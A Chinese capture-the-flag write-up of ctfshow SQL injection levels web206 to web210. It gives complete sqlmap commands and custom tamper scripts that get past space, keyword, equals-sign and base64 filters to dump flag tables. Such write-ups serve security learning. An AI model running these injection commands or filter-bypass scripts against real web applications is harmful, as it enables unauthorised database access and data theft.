ctfshow-web入门-sql注入(web206-web210)系统练习sqlmap之tamper的使用与编写

目录

1、web206

2、web207

3、web208

4、web209

5、web210


1、web206

sql需要闭合 

 测了一下还是会先请求 /api/getToken.php

查询语句里新增了括号,我们注入也需要将其闭合掉,就像我们闭合单引号那样,对于 sqlmap 它会自动对闭合点进行测试的,常见的就是单引号、双引号、单引号加括号或者双引号加括号。 

我们现在不是手动注入,而是在用工具跑,直接用上一题的 payload 打:

将 url 和 cookie 替换成自己题目的,先跑数据库

python sqlmap.py -u http://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=ehie8a6a7jfba3cv19q5b7huvs" --safe-url="https://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/api/getToken.php" --safe-freq=1 --dbs --batch

查数据库 ctfshow_web 下所有的表:

python sqlmap.py -u http://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=ehie8a6a7jfba3cv19q5b7huvs" --safe-url="https://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch

存在一个名为 ctfshow_flaxc 的表 

 

查该表下的所有列名:

python sqlmap.py -u http://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=ehie8a6a7jfba3cv19q5b7huvs" --safe-url="https://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc --columns --batch

查具体字段信息: 

python sqlmap.py -u http://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=ehie8a6a7jfba3cv19q5b7huvs" --safe-url="https://3a456b73-7aec-4296-88d9-db6a1712922c.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv,id,tes --dump --batch

拿到 flag:ctfshow{b7eea077-ba49-4792-bfe6-9c5ff6c9cc01}

2、web207

--tamper 的初体验

--tamper 用于指定某个脚本,实现对过滤的绕过

这里是过滤了空格:

空格被过滤可以使用 space2comment.py,sqlmap --tamper 绕过WAF脚本分类整理:

apostrophemask.py	用utf8代替引号
base64encode.py 	用base64编码替换
multiplespaces.py	围绕SQL关键字添加多个空格
space2plus.py	用+替换空格
space2comment.py	Replaces space character (‘ ‘) with comments ‘/**/’
unionalltounion.py	替换UNION ALL SELECT UNION SELECT
securesphere.py	追加特制的字符串
equaltolike.py	like 代替等号
greatest.py	绕过过滤’>’ ,用GREATEST替换大于号
space2mssqlhash.py	替换空格
between.py	用between替换大于号(>)
randomcase.py	随机大小写
versionedmorekeywords.py	注释绕过
halfversionedmorekeywords.py	关键字前加注释
space2morehash.py	空格替换为 #号 以及更多随机字符串 换行符

在上一题 payload 的基础上追加 --tamper 参数:同样我们先跑数据库名

python sqlmap.py -u http://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=2lo2ir916nm0onrmog4boq7rsd" --safe-url="https://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/api/getToken.php" --safe-freq=1 --dbs --batch --tamper space2comment.py

跑数据库 ctfshow_web 下的所有表名:

python sqlmap.py -u http://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=2lo2ir916nm0onrmog4boq7rsd" --safe-url="https://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch --tamper space2comment.py

跑表 ctfshow_flaxca 下所有的列名:

python sqlmap.py -u http://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=2lo2ir916nm0onrmog4boq7rsd" --safe-url="https://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca --columns  --batch --tamper space2comment.py

查字段 flagvc 的具体信息:

python sqlmap.py -u http://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=2lo2ir916nm0onrmog4boq7rsd" --safe-url="https://010a0a32-7c8b-4c6a-af1f-bc458f5183fc.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --batch --tamper space2comment.py

 

拿到 flag:ctfshow{06c81e21-0f3d-49eb-9609-4a7ab6f48692}

3、web208

不仅过滤了空格,还将 select 替换为了空,采用大小写绕过,即 randomcase.py 随机大小写:

我们知道数据库就是 ctfshow_web,这次直接跑表名:

python sqlmap.py -u http://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=m751m5q6bq0iovaur5u94kteq4" --safe-url="https://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch --tamper space2comment.py,randomcase.py

跑 ctfshow_flaxcac 下的列名:

python sqlmap.py -u http://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=m751m5q6bq0iovaur5u94kteq4" --safe-url="https://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxcac --columns --batch --tamper space2comment.py,randomcase.py

跑 flagvca 的具体信息:

python sqlmap.py -u http://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=m751m5q6bq0iovaur5u94kteq4" --safe-url="https://ed4bb388-5813-4f01-8c51-f57aeb8466be.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump --batch --tamper space2comment.py,randomcase.py

拿到 flag:ctfshow{1b58a671-213f-4704-81e1-10b5f5648feb}

4、web209

过滤了空格、星号和等号,等号过滤可以采用 like 代替,即:equaltolike.py  

但是星号被过滤了,因此无法使用内敛注释 /**/,可以采用:水平制表符 (Tab): %09、换行符 (Newline): %0A、回车符 (Carriage Return): %0D 代替空格。

为了不影响它原本的 tamper,我新建了一个名为 myon.py 的文件,放在 tamper 目录下,先将 space2comment.py 的内容复制进去,如下:

这里我们随便选一个,比如用 %09,将 "/**/" 全部替换为 chr(0x09):

注意包括双引号一起替换掉,chr() 不能用双引号包裹,包裹后就成字符串了。

这里附上替换后的,如果有问题可以复制我的试一试:

#!/usr/bin/env python"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""from lib.core.compat import xrange
from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):"""Replaces space character (' ') with comments '/**/'Tested against:* Microsoft SQL Server 2005* MySQL 4, 5.0 and 5.5* Oracle 10g* PostgreSQL 8.3, 8.4, 9.0Notes:* Useful to bypass weak and bespoke web application firewalls>>> tamper('SELECT id FROM users')'SELECT/**/id/**/FROM/**/users'"""retVal = payloadif payload:retVal = ""quote, doublequote, firstspace = False, False, Falsefor i in xrange(len(payload)):if not firstspace:if payload[i].isspace():firstspace = TrueretVal += chr(0x09)continueelif payload[i] == '\'':quote = not quoteelif payload[i] == '"':doublequote = not doublequoteelif payload[i] == " " and not doublequote and not quote:retVal += chr(0x09)continueretVal += payload[i]return retVal

接下来我们使用 myon.py 和 equaltolike.py 跑表名: 

python sqlmap.py -u http://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=6pu7k8ek2p743mt3l38at7hv8c" --safe-url="https://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch --tamper myon.py,equaltolike.py

跑 ctfshow_flav 下的所有列:

python sqlmap.py -u http://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=6pu7k8ek2p743mt3l38at7hv8c" --safe-url="https://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flav --columns --batch --tamper myon.py,equaltolike.py

跑字段 ctfshow_flagx 的信息:

python sqlmap.py -u http://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=6pu7k8ek2p743mt3l38at7hv8c" --safe-url="https://b67f8aa1-323e-4653-adcd-93ca14c234ea.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump --batch --tamper myon.py,equaltolike.py

拿到 flag:ctfshow{6c70c03b-5911-40d9-87f1-1557c2acd276}

5、web210

会对查询字符进行两轮 base64 解码和反转 

//对查询字符进行解密function decode($id){return strrev(base64_decode(strrev(base64_decode($id))));}

我们对查询的 payload 进行逆向处理,先反转,再 base64 加密,再反转,再 base64 加密,传入查询后,经过题目的解密和反转处理,最终又恢复到我们正确的 payload 实现注入。

为了避免和它原本目录下的 tamper 混淆,我在 tamper 目录下又新建了一个目录 myon,用于存放自己写的 tamper,这道题的脚本我命名为 strrev+base64.py,内容如下:

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):retVal = payloadif payload:retVal = base64.b64encode(base64.b64encode(payload[::-1].encode())[::-1]).decode()return retVal

选择使用这个 tamper 进行注入:

注意文件路径根据自己实际情况填写

python sqlmap.py -u http://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=t9107ek3o7hvkc21n5u9sm9qgj" --safe-url="https://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch --tamper="./tamper/myon/strrev+base64.py"

但是在执行的时候报错: 

make sure that there is an empty file '__init__.py' inside of tamper scripts directory

意思大概是需要一个初始化的  __init__.py 在我们的脚本目录下,我们复制 tamper 目录下的 __init__.py 到自己新建的目录(我这里是 myon 下):

再次执行,成功:

拿到表名 ctfshow_flavi,查该表下的列名:

python sqlmap.py -u http://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=t9107ek3o7hvkc21n5u9sm9qgj" --safe-url="https://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavi --columns --batch --tamper="tamper/myon/strrev+base64.py"

最后直接查 ctfshow_flagxx:

python sqlmap.py -u http://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=t9107ek3o7hvkc21n5u9sm9qgj" --safe-url="https://294080ed-8b70-4f5e-b137-062aa1bf8a07.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump --batch --tamper="tamper/myon/strrev+base64.py"

拿下,flag:ctfshow{549d46ab-3974-43a6-ac07-cbcc41357083}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/397637.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HttpSession常用方法

1.HttpSession常用方法 是在Java Servlet中用来管理会话状态的重要接口,它提供了一种在多个请求或页面之间存储用户特定信息的方式。以下是一些 HttpSession 常用的方法和用法: 获取会话对象: HttpSession session request.getSession();…

三十八、大数据技术之Kafka3.x(1)

🌻🌻 目录 一、Kafka 概述1.1 定义1.2 消息队列1.2.1 消息队列内部实现原理1.2.2 传统消息队列的应用场景1.2.3 消息队列的两种模式 1.3 Kafka 基础架构 二、 Kafka 快速入门2.1 安装前的准备2.2 安装部署2.2.1 集群规划2.2.2 单节点或集群部署2.2.3 集群…

浙大数据结构慕课课后题(04-树5 Root of AVL Tree)

题目要求: AVL 树是一种自平衡的二叉搜索树。在 AVL 树中,任何节点的两个子子树的高度最多相差一;如果在任何时候它们相差不止一,则进行重新平衡以恢复此属性。图 1-4 说明了旋转规则。 图1 图2 图3 图4 现在给定一系列插入,您应该…

【经验总结】ShardingSphere5.2.1 + Springboot 分库分表 快速开始

Sharding Sphere 官方文档地址: https://shardingsphere.apache.org/document/current/cn/overview/maven仓库:https://mvnrepository.com/artifact/org.apache.shardingsphere/shardingsphere-jdbc 官方的文档写的很详尽到位,这里会截取部分…

Spring事务管理:程序化 vs 声明式

Spring事务管理:程序化 vs 声明式 1、程序化事务管理2、声明式事务管理3、总结 💖The Begin💖点点关注,收藏不迷路💖 Spring框架为事务管理提供了两种主要方式:程序化事务管理和声明式事务管理。 1、程序化…

【数据结构】六、图:3.十字链表、邻接多重表、边集数组

3.十字链表(有向图) 文章目录 3.十字链表(有向图)3.1性能分析 4.邻接多重表(无向图)4.1性能分析 5.边集数组 十字链表是有向图的一种链式存储结构。 不足 对于有向图来说,邻接表是有缺陷的。了…

Go语言fmt包中print相关方法

Go语言的fmt包提供了多种打印相关的函数,主要用于在控制台或其他输出目标上格式化并输出数据。下面是一些常用的print相关方法的用途和区别: 1.fmt.Print() 功能: fmt.Print() 将参数的内容按默认格式输出到标准输出(通常是控制台&#xff…

【从零开始一步步学习VSOA开发】发布订阅服务端

发布订阅服务端 概念 **发布订阅模式(Publish-Subscribe Pattern)**是一种消息传递模式,其中发布者发布消息,而订阅者接收和处理这些消息。它是一种松耦合的通信方式,允许发布者和订阅者在不知道彼此存在的情况下进行…

【C++】面向对象三大特性之—— 多态(从底层带你理解多态)

目录 前言 什么是多态 多态的定义及实现 虚函数 虚函数的重写 多态的构成条件 虚函数重写的两个例外 协变 析构函数的重写(重要!!!) override 和 final(了解) override final 重载、…

linux 查看端口占用并处理

lsof 命令 lsof -i:端口注意pid netstat 命令 netstat -tnpla | grep 端口注意pid 查看详情 ps -ef | grep 3766607删除 kill -9 PIDkill -9 3766607

【整数规划】+【0—1规划】解决优化类问题(Matlab代码)

目录 文章目录 前言 一、整数规划 分类: 二、典例讲解 1.背包问题 2.指派问题 总结 前言 如果觉得本篇文章还不错的话,给作者点个赞鼓励一下吧😁😁😁 在规划问题中,有些最优解可能是分数或小数&am…

SpringBoot+Vue3+SSE实现实时消息语音播报

目录 1、前言 2、什么是SSE 2.1、与WebSocket有什么异同? 3、代码实现 3.1、前置代码 3.2、SSE相关代码 3.3、消息类相关代码 3.4 、前端代码 4、实机演示 1、前言 有这样一个业务场景,比如有一个后台管理系统,用来监听订单的更新&…

【NUCLEO-G071RB】010——TIM6-基本定时器

NUCLEO-G071RB:010——TIM6-基本定时器 基本定时器设计目标芯片配置程序修改运行测试 基本定时器 基本定时器只能用于计时,可以配置有无上溢出中断,它基本到不支持下溢出中断。它的时钟源(应该)是TPCLK,内…

ChatGPT首次被植入人类大脑:帮助残障人士开启对话

马斯克在脑机接口中最强大的竞争对手Synchron有了新的技术进展,他们首次将ChatGPT整合到其脑机系统中,以使瘫痪患者更容易控制他们的数字设备。Synchron凭借其独特的脑机接口(BCI)技术脱颖而出,该技术巧妙地运用了成熟…

【npm】如何将自己的插件发布到npm上

前言 简单说下 npm 是什么: npm 是一个 node 模块管理工具,也是全球最大的共享源。 npm 工具与 nodejs 配套发布,便利开发人员共享代码。npm 主要包括 npm 官方网站、CLI(控制台命令行工具)、和 registry(…

「Pytorch」BF16 Mixed Precision Training

在深度学习领域,神经网络的训练性能瓶颈常常出现在 GPU显存的使用上。主要表现为两方面: 单卡上可容纳的模型和数据量有限;显存与计算单元之间的带宽和延迟限制了运算速度; 为了解决显卡瓶颈的问题,涌现了不同的解决…

Arduino控制带编码器的直流电机速度

Arduino DC Motor Speed Control with Encoder, Arduino DC Motor Encoder 作者 How to control dc motor with encoder:DC Motor with Encoder Arduino, Circuit Diagram:Driving the Motor with Encoder and Arduino:Control DC motor using Encoder feedback loop: How …

深度学习碎碎念——碎片知识1

1、什么叫模型收敛?什么叫模型欠拟合和过拟合? 什么叫模型收敛?——模型收敛是指在训练过程中,模型的损失函数逐渐减小并且趋于稳定的状态。简而言之,当模型的训练过程达到一个稳定的点,使得进一步的训练不…

CV党福音:YOLOv8实现语义分割(一)

前面我们得知YOLOv8不但可以实现目标检测任务,还包揽了分类、分割、姿态估计等计算机视觉任务。在上一篇博文中,博主已经介绍了YOLOv8如何实现分类,在这篇博文里,博主将介绍其如何将语义分割给收入囊中。 YOLOv8语义分割架构图 …

【C++】特殊类的设计与类型转换

文章目录 1. 特殊类的设计1.1 不能被拷贝的类1.2 只能在堆上创建对象的类1.3 只能在栈上创建对象的类1.4 不能被继承的类1.5 只能创建一个对象的类(单列模式) 2. 类型转换2.1 C/C的类型转换2.2 C规定的四种类型转换2.2.1 static_cast2.2.2 reinterpret_c…